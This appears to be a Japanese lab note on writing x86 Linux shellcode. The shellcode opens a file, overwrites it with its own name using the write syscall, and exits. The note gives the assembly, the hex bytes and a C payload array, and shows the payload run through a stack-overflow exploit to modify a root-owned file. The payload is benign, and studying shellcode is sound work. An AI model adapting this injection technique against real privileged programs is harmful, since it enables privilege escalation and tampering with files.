writeシステムコールテストペイロードの作成メモ。
Writeシステムコールは文字列をファイルディスクリプタの目印以降に書き出す。ペイロードの概要は、読み込み専用でファイルをオープンし、開いたファイルにそのファイル名を書き出す。その後ファイルをクローズする。
.globl main
main:
jmp ONE
TWO:
#open
popl %ebx
xorl %eax, %eax
movb %al, 4(%ebx)
movb $0x5, %al
xorl %ecx, %ecx
inc %ecx
int $0x80
#write
movl %ebx, %esi
movl %eax, %ebx
movl %esi, %ecx
xorl %edx, %edx
movb $0x4, %dl
xorl %eax, %eax
movb $0x4, %al
int $0x80
#close
xorl %eax, %eax
movb $0x6, %al
int $0x80
#exit
mov $0x1, %al
xorl %ebx, %ebx
int $0x80
ONE:
call TWO
.string "test"
It's test. test file. Yahoooooo.
ソースコードをバイトコードに変換する。
eb 29 5b 31 c0 88 43 04 b0 05 31 c9 41 cd 80 89 de 89 c3 89 f1 31 d2 b2 04 31 c0 b0 04 cd 80 31 c0 b0 06 cd 80 b0 01 31 db cd 80 e8 d2 ff ff ff 74 65 73 74
バイトコードを次のようにC言語で書かれたテストプログラム([SC] exploit.c)に埋め込む。
unsigned char payload[]=
"\xeb\x29\x5b\x31\xc0\x88\x43\x04"
"\xb0\x05\x31\xc9\x41\xcd\x80\x89"
"\xde\x89\xc3\x89\xf1\x31\xd2\xb2"
"\x04\x31\xc0\xb0\x04\xcd\x80\x31"
"\xc0\xb0\x06\xcd\x80\xb0\x01\x31"
"\xdb\xcd\x80\xe8\xd2\xff\xff\xff"
"\x74\x65\x73\x74"
;
次にtest.cをコンパイルし、実行する。
defolos@glazheim:~/Desktop$ gcc test.c defolos@glazheim:~/Desktop$ ./a.out
testファイルはwriteシステムコールによって変更されたはずである。確認を行う。
defolos@glazheim:~/Desktop$ cat test test test. test file. Yahoooooo.
ペイロードが正常に動いていることが確認できた。なので、testファイルの所有権をrootに変更し、バイトコードをC言語で書かれたExploit([SC] exploit.c)に埋め込んで実行する。
glazheim:/home/defolos/Desktop# chown root test glazheim:/home/defolos/Desktop# ls -l test -rw-r--r-- 1 root defolos 41 2006-11-22 09:57 test
testファイルの所有権がrootになっていることを確認できた。次に、testファイルの中身を次のように変更した。
glazheim:/home/defolos/Desktop# cat test It is a test file. test file. Yahoooooo.
exploit.cをコンパイルし、実行する。
defolos@glazheim:~/Desktop$ gcc exploit.c defolos@glazheim:~/Desktop$ ./a.out sp = 0xbffff918 ret = 0xbffff918 -------exploit---------------
これでtestファイルの内容は上書きされたはずである。ゆえに、catコマンドを用いて確認を行う。
defolos@glazheim:~/Desktop$ cat test tests a test file. test file. Yahoooooo.
writeテストペイロードによってtestファイルの内容を上書きできることが確認された。
このペイロードは任意の文字列を上書きすることはできない。加えて、このペイロードは上書きのみが可能であって、追加書き込みは不可能である。